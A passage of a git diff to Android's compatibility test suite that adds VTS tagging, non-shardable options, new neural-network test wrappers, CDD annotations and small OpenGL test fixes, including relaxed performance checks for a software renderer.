 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index 4066d83..36eb72a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDomainConfigTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 928b95d..927374c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
index 014e0ef..f2e3f35 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigCleartextTraffic test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigCleartextTrafficTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index 4a55d81..aa0eefd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
index 611da31..14e4eb4 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDebugDisabledTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugDisabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index 22ec6c7..be9174e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
index 4f636c3..198f30e 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigBasicDebugEnabledTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigBasicDebugEnabledTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index f6be2b5..84e72b0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
index 71bc49c..fb26391 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidTest.xml
@@ -15,12 +15,13 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigDownloadManagerTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigDownloadManagerTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases" />
-        <option name="runtime-hint" value="11m" />
+        <option name="runtime-hint" value="15s" />
     </test>
 </configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index cbfd091..4764cab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
index 253758f..7f3c7fd 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigInvalidPinTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigInvalidPinTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index 2ae8d6c..5448f34 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
index 49976a8..0209025 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigNestedDomainConfigTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigNestedDomainConfigTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index e99d5c4..924f393 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
new file mode 100644
index 0000000..f1a9ed4
--- /dev/null
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -0,0 +1,52 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsNNAPITestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SRC_FILES := \
+     src/TestValidation.cpp \
+     src/TestMemory.cpp \
+     src/TestTrivialModel.cpp \
+     src/TestGenerated.cpp
+
+LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
+LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
+LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
+LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
+
+LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTest.xml
new file mode 100644
index 0000000..cd1a0f0
--- /dev/null
+++ b/tests/tests/neuralnetworks/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for Native NNAPI Tests">
+    <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNNAPITestCases->/data/local/tmp/CtsNNAPITestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNNAPITestCases" />
+        <option name="runtime-hint" value="2m" />
+        <!-- test-timeout unit is ms, value = 2 min -->
+        <option name="native-test-timeout" value="120000" />
+    </test>
+</configuration>
diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
new file mode 100644
index 0000000..b9044fe
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestGenerated.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestGenerated.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestMemory.cpp b/tests/tests/neuralnetworks/src/TestMemory.cpp
new file mode 100644
index 0000000..84d2d41
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestMemory.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestMemory.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
new file mode 100644
index 0000000..b41e50f
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestTrivialModel.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidation.cpp b/tests/tests/neuralnetworks/src/TestValidation.cpp
new file mode 100644
index 0000000..eab0f59
--- /dev/null
+++ b/tests/tests/neuralnetworks/src/TestValidation.cpp
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
+#include "test/TestValidation.cpp"
diff --git a/tests/tests/opengl/Android.mk b/tests/tests/opengl/Android.mk
index 5558379..9338d81 100644
--- a/tests/tests/opengl/Android.mk
+++ b/tests/tests/opengl/Android.mk
@@ -29,7 +29,7 @@
 
 LOCAL_JNI_SHARED_LIBRARIES := libopengltest_jni
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/opengl/libopengltest/Android.mk b/tests/tests/opengl/libopengltest/Android.mk
index afa94dc..f05fd8c 100755
--- a/tests/tests/opengl/libopengltest/Android.mk
+++ b/tests/tests/opengl/libopengltest/Android.mk
@@ -39,6 +39,9 @@
 LOCAL_CXX_STL := libc++_static
 
 LOCAL_SHARED_LIBRARIES := libGLESv2 liblog
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
 
diff --git a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
index fe49b1b..a511f9a 100755
--- a/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
+++ b/tests/tests/opengl/libopengltest/gl2_jni_libone.cpp
@@ -135,7 +135,7 @@
         jclass obj, jint pCategory, jint pSubCategory, jfloatArray color)
 {
     LOGI("Inside draw %d %d", pCategory, pSubCategory);
-    jfloatArray result;
+    jfloatArray result = nullptr;
     if(pCategory == 3){
         if(pSubCategory == 1){
             result = env->NewFloatArray(4);
@@ -143,8 +143,8 @@
             jfloat *lColor =  env->GetFloatArrayElements(color,0);
 
             float * actualColor = drawColorOne(lColor);
-            for( int i= 0; i < sizeof(actualColor); i++) {
-                LOGI("actualColor[%d] ; %f", i, actualColor[i]);
+            for(unsigned i = 0; i < sizeof(actualColor); i++) {
+                LOGI("actualColor[%u] ; %f", i, actualColor[i]);
             }
             env->SetFloatArrayRegion(result, 0, 4, actualColor);
         }
diff --git a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
index 15a7074..ed86051 100644
--- a/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/CompressedTextureCtsActivity.java
@@ -63,6 +63,12 @@
     }
 
     @Override
+    protected void onPause() {
+        mCompressedTextureView.onPause();
+        super.onPause();
+    }
+
+    @Override
     protected void onResume() {
         super.onResume();
         mCompressedTextureView.onResume();
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 4225de0..67415d70 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -31,6 +31,8 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -73,6 +75,7 @@
         mActivity = mActivityRule.getActivity();
     }
 
+    @CddTest(requirement="7.1.4.1/C-0-1")
     @Test
     public void testOpenGlEsVersion() throws InterruptedException {
         int detectedMajorVersion = getDetectedMajorVersion();
@@ -91,6 +94,7 @@
         }
     }
 
+    @CddTest(requirement="7.1.4.1/C-2-2")
     @Test
     public void testRequiredExtensions() throws InterruptedException {
         int reportedVersion = getVersionFromActivityManager(mActivity);
@@ -116,6 +120,7 @@
         }
     }
 
+    @CddTest(requirement="7.1.4.1/C-2-1,C-5-1,C-4-1")
     @Test
     public void testExtensionPack() throws InterruptedException {
         // Requirements:
@@ -144,7 +149,7 @@
             + (hasAepExtension ? "" : "not ") + "in the OpenGL ES extension list.",
             hasAepFeature, hasAepExtension);
     }
-
+    @CddTest(requirement="7.9.2/C-1-4")
     @Test
     public void testOpenGlEsVersionForVrHighPerformance() throws InterruptedException {
         if (!supportsVrHighPerformance())
@@ -160,6 +165,7 @@
             (major == 3 && minor >= 2) || major > 3);
     }
 
+    @CddTest(requirement="7.9.2/C-1-6,C-1-8")
     @Test
     public void testRequiredExtensionsForVrHighPerformance() throws InterruptedException {
         if (!supportsVrHighPerformance())
@@ -196,7 +202,7 @@
                 requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
         }
     }
-
+    @CddTest(requirement="7.1.4.1/C-6-1")
     @Test
     public void testRequiredEglExtensions() {
         // See CDD section 7.1.4
@@ -340,6 +346,7 @@
      * Check that the version string has the form "OpenGL ES(-CM)? (\d+)\.(\d+)", where the two
      * numbers match the major and minor parameters.
      */
+    @CddTest(requirement="7.1.4.1/C-0-1")
     private void verifyGlVersionString(int major, int minor) throws InterruptedException {
         Matcher matcher = Pattern.compile("OpenGL ES(?:-CM)? (\\d+)\\.(\\d+).*")
                                  .matcher(mActivity.getVersionString());
diff --git a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
index 1faef87..c81520d 100644
--- a/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/WrapperTest.java
@@ -190,9 +190,12 @@
         // zero out the refcount.
         //
         // Before we can terminate we need to be sure that the display has been initialized
-        // at least once. Also includes the 1s sleep to work-around a suspected race condition
-        // where it seems that some earlier tests may not have completed clean-up of all activities.
-        Thread.sleep(1000);
+        // at least once so call eglSetup first.
+        //
+        // IMPORTANT NOTE: If a previous test in this test group fails to cleanup its
+        // GLSurfaceView there may be a crash here on some platforms due to an object destruction
+        // race condition. The solution is to make sure all previous tests override onPause()
+        // and call their GLSurfaceView's onPause() function there. See b/37118199 for history.
         eglSetup(2, 1, 1);
         for (int i = 0; i < 100; i++) {
             EGL14.eglTerminate(mEGLDisplay);
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index fcc2ba6..7669204 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -37,7 +37,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 929e155..dc6b2a8 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -14,6 +14,7 @@
 -->
 <configuration description="Config for CTS OpenGL Performance test cases">
     <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
index d6df59b..3fe448a 100644
--- a/tests/tests/openglperf/jni/Android.mk
+++ b/tests/tests/openglperf/jni/Android.mk
@@ -28,4 +28,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
index 432fb41..9d898c2 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
@@ -43,6 +43,7 @@
     private float mAverageFps;
     private int mNumTriangles;
     private int[] mFrameInterval;
+    private String mRendererName;
 
     private PlanetsSurfaceView mView;
 
@@ -59,6 +60,10 @@
         return mNumTriangles;
     }
 
+    public String getRendererName() {
+        return mRendererName;
+    }
+
     /**
      * Time interval between each frame's rendering in ms.
      * The first value will be invalid, so client should discard them.
@@ -89,10 +94,12 @@
     }
 
     @Override
-    public void onRenderCompletion(float averageFps, int numTriangles,  int[] frameInterval) {
+    public void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+            String rendererName) {
         mAverageFps = averageFps;
         mNumTriangles = numTriangles;
         mFrameInterval = frameInterval;
+        mRendererName = rendererName;
         mSem.release();
     }
 
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
index ecf198e..f3a38bb 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
@@ -28,18 +28,21 @@
     private static final long RENDERING_TIMEOUT = 5 * 60;
     // 30% of fps_no_vbo is allowed to compensate variations in measurement
     private static final float FPS_COMPARISON_MARGIN = 0.3f;
-    // the worst case should be above 70% of the best case
-    private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.7f;
+    // the worst case should be above 30% of the best case
+    private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.3f;
 
     private float mFps;
     private int mNumTriangles;
+    private boolean mIsSoftwareRenderer = false;
+
+    private static final String SWIFTSHADER_NAME = "Google SwiftShader";
 
     public GlVboPerfTest() {
         super(GlPlanetsActivity.class);
     }
 
     public void testVboWithVaryingIndexBufferNumbers() throws Exception {
-        final int[] numIndexBuffers = {1, 10, 100, 200, 400}; // per vertex buffer
+        final int[] numIndexBuffers = {1, 10, 100, 200}; // per vertex buffer
         float[] fpsVbo = new float[numIndexBuffers.length];
         float[] fpsNonVbo = new float[numIndexBuffers.length];
 
@@ -70,12 +73,14 @@
         float delta = minMaxVbo[1] - (1f - FPS_COMPARISON_MARGIN)
                 * minMaxNonVbo[1];
         assertTrue("VBO performance worse than non-VBO " + msgVbo + msgNonVbo, delta > 0f);
-        assertTrue(
-                "Too much FPS drop for VBO case " + msgVbo,
-                minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
-        assertTrue(
-                "Too much FPS drop for No VBO case " + msgNonVbo,
-                minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+        if (!mIsSoftwareRenderer) {
+            assertTrue(
+                    "Too much FPS drop for VBO case " + msgVbo,
+                    minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
+            assertTrue(
+                    "Too much FPS drop for No VBO case " + msgNonVbo,
+                    minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+        }
     }
 
     public void testVboVsNonVboPerfGeometry0() throws Exception {
@@ -104,6 +109,9 @@
 
         mFps = activity.getAverageFps();
         mNumTriangles = activity.getNumTriangles();
+        if (SWIFTSHADER_NAME.equals(activity.getRendererName())) {
+            mIsSoftwareRenderer = true;
+        }
 
         cleanUpActivity();
     }
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
